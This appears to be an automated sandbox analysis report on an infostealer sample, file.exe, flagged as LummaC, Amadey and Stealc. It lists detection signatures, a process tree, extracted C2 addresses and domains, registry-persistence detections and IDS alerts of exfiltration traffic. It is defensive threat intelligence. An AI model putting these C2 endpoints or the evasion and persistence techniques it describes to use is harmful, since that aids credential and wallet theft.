Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544853
MD5:	aadfe832c4d1eb7c9455494309e56b52
SHA1:	eca68d03c47046b55fdaf1d31223ec63d44e1da5
SHA256:	3b79ac7b5a8514b2ceaf41a0e49eeea96082a616c114f8915d0ed453af62d8bb
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SLDT)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7444 cmdline: "C:\Users\user\Desktop\file.exe" MD5: AADFE832C4D1EB7C9455494309E56B52)

F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe (PID: 7916 cmdline: "C:\Users\user~1\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe" MD5: CC3379571644FA87BA60176E4E11716C)

M20I1ZOZUN9VGSWFO63POXM.exe (PID: 8028 cmdline: "C:\Users\user~1\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe" MD5: 5F38C4D8D82BD75C9E66E4D5DC7FA257)

skotes.exe (PID: 7228 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 5F38C4D8D82BD75C9E66E4D5DC7FA257)

skotes.exe (PID: 424 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 5F38C4D8D82BD75C9E66E4D5DC7FA257)

skotes.exe (PID: 1156 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 5F38C4D8D82BD75C9E66E4D5DC7FA257)

skotes.exe (PID: 4308 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 5F38C4D8D82BD75C9E66E4D5DC7FA257)

SWB92CTM4OIX4M9DCKIEYGOPF.exe (PID: 2856 cmdline: "C:\Users\user~1\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe" MD5: CC3379571644FA87BA60176E4E11716C)

BJD5F4VU6P78HSX8.exe (PID: 920 cmdline: "C:\Users\user~1\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe" MD5: 5F38C4D8D82BD75C9E66E4D5DC7FA257)

8301009305.exe (PID: 2964 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001698001\8301009305.exe" MD5: 0F45CF13F5CB53F19189B406384DAFE8)

axplong.exe (PID: 6976 cmdline: "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe" MD5: 0F45CF13F5CB53F19189B406384DAFE8)

de057a4668.exe (PID: 7832 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe" MD5: CC3379571644FA87BA60176E4E11716C)

4264524541.exe (PID: 6908 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001776101\4264524541.exe" MD5: CC3379571644FA87BA60176E4E11716C)

wintoolsone64.exe (PID: 8124 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002431001\wintoolsone64.exe" MD5: 3A408188540D593A618C37FF3B9FA378)

BitLockerToGo.exe (PID: 5100 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

9de8348ea3.exe (PID: 7264 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002448001\9de8348ea3.exe" MD5: CE30C177C983F9A8EF192452D20075E8)

axplong.exe (PID: 4484 cmdline: C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe MD5: 0F45CF13F5CB53F19189B406384DAFE8)

de057a4668.exe (PID: 7572 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe" MD5: CC3379571644FA87BA60176E4E11716C)

de057a4668.exe (PID: 8172 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe" MD5: CC3379571644FA87BA60176E4E11716C)

axplong.exe (PID: 3960 cmdline: C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe MD5: 0F45CF13F5CB53F19189B406384DAFE8)

cc1af330ba.exe (PID: 6488 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001195001\cc1af330ba.exe" MD5: 264DAA04DEFC6B3CB7CD8B682DB05ACD)

69f64d774a.exe (PID: 6412 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001196001\69f64d774a.exe" MD5: CE30C177C983F9A8EF192452D20075E8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["contemteny.site", "opposezmny.site", "goalyfeastz.site", "seallysl.site", "servicedny.site", "dilemmadu.site", "authorisev.site", "faulteyotk.site"], "Build id": "MkfS5f--"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000017.00000002.2563974947.00000000001E1000.00000040.00000001.01000000.00000014.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.1764901997.0000000000FC1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.2232884858.0000000000261000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.1866390833.0000000004960000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2192573063.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2249103962.00000000019F2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.2630286475.00000000005A1000.00000040.00000001.01000000.00000016.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2249053450.00000000019ED000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1550531909.0000000001109000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000003.2523206093.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2271659332.0000000000181000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2223001037.0000000004850000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000003.1757220025.00000000050F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2194128848.00000000019EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.1724002406.0000000004F90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000003.2613988811.0000000005000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2481124534.0000000005200000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.2630604720.0000000000181000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000002.2666308747.0000000002306000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
0000001A.00000002.2643463076.000000000148C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000002.2631387587.0000000000726000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.1798970839.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.2263637802.0000000000181000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000002.2666308747.0000000002200000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
0000000E.00000003.2231223206.0000000004950000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 7444	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7444	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: skotes.exe PID: 4308	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: skotes.exe PID: 4308	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: skotes.exe PID: 4308	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9de8348ea3.exe PID: 7264	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: cc1af330ba.exe PID: 6488	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 29 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.BJD5F4VU6P78HSX8.exe.1e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.8301009305.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.axplong.exe.180000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.axplong.exe.180000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.skotes.exe.fc0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.axplong.exe.180000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.fc0000.1.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.M20I1ZOZUN9VGSWFO63POXM.exe.fc0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.3.skotes.exe.19e3ba0.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
26.2.cc1af330ba.exe.5a0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 424, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\de057a4668.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 424, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\de057a4668.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe", CommandLine: "C:\Users\user~1\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7444, ParentProcessName: file.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe", ProcessId: 7916, ProcessName: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe

Suricata Signatures

ET MALWARE Amadey Bot Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:37:07.602917+0100	2044623	1	A Network Trojan was detected	192.168.2.7	50005	185.215.113.16	80	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:35:12.957108+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49721	188.114.96.3	443	TCP
2024-10-29T20:35:14.142310+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49727	188.114.96.3	443	TCP
2024-10-29T20:35:37.146554+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49864	188.114.96.3	443	TCP
2024-10-29T20:36:25.852669+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49985	188.114.96.3	443	TCP
2024-10-29T20:36:27.022765+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49987	188.114.96.3	443	TCP
2024-10-29T20:36:55.155259+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49999	188.114.96.3	443	TCP
2024-10-29T20:37:10.971356+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50008	188.114.96.3	443	TCP
2024-10-29T20:37:12.180364+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50009	188.114.96.3	443	TCP
2024-10-29T20:37:21.678697+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50015	188.114.96.3	443	TCP
2024-10-29T20:37:25.446282+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50017	188.114.96.3	443	TCP
2024-10-29T20:37:25.971728+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50018	188.114.96.3	443	TCP
2024-10-29T20:37:29.086076+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50020	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:35:12.957108+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49721	188.114.96.3	443	TCP
2024-10-29T20:36:25.852669+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49985	188.114.96.3	443	TCP
2024-10-29T20:37:10.971356+0100	2049836	1	A Network Trojan was detected	192.168.2.7	50008	188.114.96.3	443	TCP
2024-10-29T20:37:21.678697+0100	2049836	1	A Network Trojan was detected	192.168.2.7	50015	188.114.96.3	443	TCP
2024-10-29T20:37:25.971728+0100	2049836	1	A Network Trojan was detected	192.168.2.7	50018	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:35:14.142310+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49727	188.114.96.3	443	TCP
2024-10-29T20:36:27.022765+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49987	188.114.96.3	443	TCP
2024-10-29T20:37:12.180364+0100	2049812	1	A Network Trojan was detected	192.168.2.7	50009	188.114.96.3	443	TCP
2024-10-29T20:37:25.446282+0100	2049812	1	A Network Trojan was detected	192.168.2.7	50017	188.114.96.3	443	TCP
2024-10-29T20:37:29.086076+0100	2049812	1	A Network Trojan was detected	192.168.2.7	50020	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:35:38.084906+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49873	185.215.113.16	80	TCP
2024-10-29T20:36:56.087273+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	50000	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:36:12.817111+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49982	185.215.113.43	80	TCP
2024-10-29T20:36:25.104425+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49984	185.215.113.43	80	TCP
2024-10-29T20:36:34.317353+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49989	185.215.113.43	80	TCP
2024-10-29T20:36:39.976195+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49993	185.215.113.43	80	TCP
2024-10-29T20:36:44.374491+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49996	185.215.113.43	80	TCP
2024-10-29T20:36:58.489655+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50001	185.215.113.43	80	TCP
2024-10-29T20:37:09.064613+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50006	185.215.113.43	80	TCP
2024-10-29T20:37:15.591941+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50011	185.215.113.16	80	TCP
2024-10-29T20:37:17.668526+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50014	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:35:28.847017+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49814	188.114.96.3	443	TCP
2024-10-29T20:36:33.350346+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49988	188.114.96.3	443	TCP
2024-10-29T20:37:16.974560+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	50010	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:37:22.313347+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50016	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:37:15.628700+0100	2856121	1	A Network Trojan was detected	192.168.2.7	50012	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:36:05.106490+0100	2856147	1	A Network Trojan was detected	192.168.2.7	49979	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:36:11.884445+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	49980	TCP
2024-10-29T20:37:06.682080+0100	2856122	1	A Network Trojan was detected	185.215.113.16	80	192.168.2.7	50003	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:36:08.722702+0100	2803305	3	Unknown Traffic	192.168.2.7	49981	185.215.113.16	80	TCP
2024-10-29T20:36:13.926143+0100	2803305	3	Unknown Traffic	192.168.2.7	49983	185.215.113.16	80	TCP
2024-10-29T20:36:26.052197+0100	2803305	3	Unknown Traffic	192.168.2.7	49986	185.215.113.16	80	TCP
2024-10-29T20:36:35.260254+0100	2803305	3	Unknown Traffic	192.168.2.7	49991	185.215.113.16	80	TCP
2024-10-29T20:36:45.259236+0100	2803305	3	Unknown Traffic	192.168.2.7	49997	31.41.244.11	80	TCP
2024-10-29T20:36:59.429547+0100	2803305	3	Unknown Traffic	192.168.2.7	50002	185.215.113.16	80	TCP
2024-10-29T20:37:06.591575+0100	2803305	3	Unknown Traffic	192.168.2.7	50004	162.159.129.233	443	TCP
2024-10-29T20:37:07.888629+0100	2803305	3	Unknown Traffic	192.168.2.7	50005	185.215.113.16	80	TCP
2024-10-29T20:37:09.992783+0100	2803305	3	Unknown Traffic	192.168.2.7	50007	185.215.113.16	80	TCP
2024-10-29T20:37:16.555573+0100	2803305	3	Unknown Traffic	192.168.2.7	50013	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.php

URL Reputation: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

